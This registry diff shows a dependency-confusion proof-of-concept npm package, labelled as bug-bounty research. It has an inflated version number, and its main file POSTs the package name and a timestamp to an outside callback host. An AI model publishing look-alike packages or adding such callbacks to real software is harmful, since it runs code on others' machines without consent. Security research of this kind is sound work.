@a0-mgmt-api/oas 1.8619.0 → 93.97.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/index.js +40 -6
  2. package/package.json +1 -1
package/index.js CHANGED
@@ -1,6 +1,40 @@
1
- // index.js
2
- console.log("======================================================");
3
- console.log("BUG BOUNTY POC");
4
- console.log("This package was installed via Dependency Confusion.");
5
- console.log("Reported by: dd_06");
6
- console.log("======================================================");
1
+ // SECURITY RESEARCH: Harmless dependency confusion PoC.
2
+ // This package sends a simple "ping" to verify execution.
3
+ // No system data, source code, or PII is accessed or transmitted.
4
+ // Contact: dd_06@wearehackerone.com
5
+
6
+ const http = require('http');
7
+ const https = require('https');
8
+
9
+ // No system data.
10
+ const info = {
11
+ pkg: "@a0-mgmt-api/oas",
12
+ timestamp: new Date().toISOString(),
13
+ transport: 'http'
14
+ };
15
+
16
+ const CALLBACK_URL = 'https://deepbounty.dd06-dev.fr/cb/53a527ce-9e33-4542-aff3-207411fe77ee';
17
+
18
+ function sendHttpPayload() {
19
+ const parsed = new URL(CALLBACK_URL);
20
+ const postData = JSON.stringify(info);
21
+ const lib = parsed.protocol === 'https:' ? https : http;
22
+
23
+ const req = lib.request(CALLBACK_URL, {
24
+ method: 'POST',
25
+ headers: {
26
+ 'Content-Type': 'application/json',
27
+ 'Content-Length': Buffer.byteLength(postData)
28
+ },
29
+ timeout: 15000
30
+ }, (res) => {
31
+ // Just consume the stream, don't need the response
32
+ res.on('data', () => { });
33
+ });
34
+
35
+ req.write(postData);
36
+ req.end();
37
+ }
38
+
39
+ // Start sequence
40
+ sendHttpPayload();
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "@a0-mgmt-api/oas",
3
- "version": "1.8619.0",
3
+ "version": "93.97.0",
4
4
  "description": "Security PoC for Bug Bounty",
5
5
  "main": "index.js",
6
6
  "scripts": {